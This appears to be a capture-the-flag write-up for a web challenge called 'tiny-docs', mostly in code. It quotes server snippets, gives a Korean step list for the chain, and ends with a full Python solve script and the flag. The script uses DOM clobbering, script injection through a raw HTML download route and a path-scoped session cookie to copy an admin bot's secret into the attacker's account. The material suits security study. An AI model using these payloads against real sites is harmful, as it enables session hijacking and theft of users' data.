tiny-docs#

1
const MAX_DOCUMENT_LENGTH = 300;
2
const DOCUMENT_BODY_RE = /^[\x00\xfe\xffA-Za-z0-9 '.\-\/;<=>]*$/;
3

4
const raw = atob(String(payload.body_b64 || ""));
5
if (raw.length > MAX_DOCUMENT_LENGTH) {
6
  ...
7
}
8
if (!DOCUMENT_BODY_RE.test(raw)) {
9
  ...
10
}

1
function sanitizeMarkup(raw) {
2
  return DOMPurify.sanitize(String(raw), {
3
    USE_PROFILES: { html: true },
4
    ALLOW_DATA_ATTR: true,
5
  });
6
}
7

8
function docPage(id, doc) {
9
  const clean = sanitizeMarkup(doc.raw);
10
  ...
11
  return `...<article id="document">${clean}</article>...`;
12
}

1
<a id=docSlot data-range=0></a><script>...</script>

1
<a data-range="0" id="docSlot"></a>

1
var x = window.docSlot;
2
if (x && x.dataset && /^\d{1,8}$/.test(x.dataset.range || "")) {
3
  location.href = "/download/<id>?range=" + x.dataset.range;
4
}

1
function exportDocument(doc) {
2
  return EXPORT_PREFIX + doc.raw + EXPORT_SUFFIX;
3
}
4

5
const exported = exportDocument(doc);
6
const start = hasRange
7
  ? Math.max(0, Math.min(exported.length, Number(url.searchParams.get("range")) || 0))
8
  : 0;
9
const body = exported.slice(start);
10

11
send(res, 200, body, {
12
  "Content-Type": "text/html",
13
  "Content-Security-Policy": HTML_CSP,
14
}, "latin1");

1
function getSessionCandidates(req) {
2
  const out = [];
3
  for (const part of String(req.headers.cookie || "").split(";")) {
4
    ...
5
    if (key !== "sess") continue;
6
    const sid = decodeURIComponent(part.slice(index + 1).trim());
7
    const session = sessions.get(sid);
8
    if (session) out.push({ sid, session });
9
  }
10
  return out;
11
}
12

13
function getSession(req) {
14
  return getSessionCandidates(req)[0] || null;
15
}

1
function flagPage(auth) {
2
  auth.session.inbox = FLAG;
3
  return `...<script>fetch('/download/collect',{method:'POST',credentials:'same-origin'}).catch(()=>{})</script>...`;
4
}

1
const auth = getSession(req);
2
const candidates = getSessionCandidates(req);
3
const source = candidates.find((item) =>
4
  item.sid !== auth.sid && item.session.isAdmin && item.session.inbox
5
);
6
auth.session.inbox = source.session.inbox.slice(0, 256);

1
sess=<attacker session>; Path=/download
2
sess=<admin session>; Path=/

1
공격자 문서 생성
2
-> /doc/<uuid>에 DOM clobbering 요소 삽입
3
-> 관리자 봇이 /doc/<uuid> 방문
4
-> 부트스트랩 스크립트가 /download/<uuid>?range=0으로 이동
5
-> 원본 <script> 실행
6
-> Path=/download 공격자 sess 쿠키 설정
7
-> /flag 방문으로 관리자 inbox에 flag 저장
8
-> /download/collect에서 공격자 inbox로 flag 복사
9
-> /api/me로 공격자 inbox 확인

1
import base64
2
import json
3
import re
4
import time
5
import urllib.parse
6
import urllib.request
7

8

9
def request(base, method, path, data=None, cookie=None, timeout=15):
10
    body = None
11
    headers = {}
12
    if data is not None:
13
        body = json.dumps(data).encode()
14
        headers["Content-Type"] = "application/json"
15
    if cookie:
16
        headers["Cookie"] = cookie
17
    req = urllib.request.Request(
18
        urllib.parse.urljoin(base, path),
19
        data=body,
20
        headers=headers,
21
        method=method,
22
    )
23
    with urllib.request.urlopen(req, timeout=timeout) as resp:
24
        return resp.status, dict(resp.headers), resp.read().decode("utf-8", "replace")
25

26

27
def cookie_from(headers):
28
    raw = headers.get("Set-Cookie", "")
29
    match = re.search(r"\bsess=([^;]+)", raw)
30
    if not match:
31
        raise RuntimeError("missing sess cookie")
32
    return urllib.parse.unquote(match.group(1))
33

34

35
status, headers, _ = request(base, "POST", "/api/signup", {
36
    "username": username,
37
    "password": password,
38
})
39
sid = cookie_from(headers)
40

41
payload = (
42
    f"<a id=docSlot data-range=0></a>"
43
    f"<script>document.cookie='sess={sid};path=/download';location='/flag'</script>"
44
)
45

46
status, headers, body = request(base, "POST", "/api/documents", {
47
    "title": "tiny note",
48
    "filename": "export.html",
49
    "body_b64": base64.b64encode(payload.encode("latin1")).decode(),
50
}, cookie=f"sess={sid}")
51
doc_path = json.loads(body)["path"]
52

53
request(base, "POST", "/report", {"url": doc_path}, timeout=20)
54

55
for _ in range(8):
56
    status, headers, body = request(base, "GET", "/api/me", cookie=f"sess={sid}")
57
    inbox = json.loads(body).get("inbox", "")
58
    if inbox:
59
        print(inbox)
60
        break
61
    time.sleep(0.5)

1
HS{0d438c531a572a287482c30c687c1ce47b0ac560}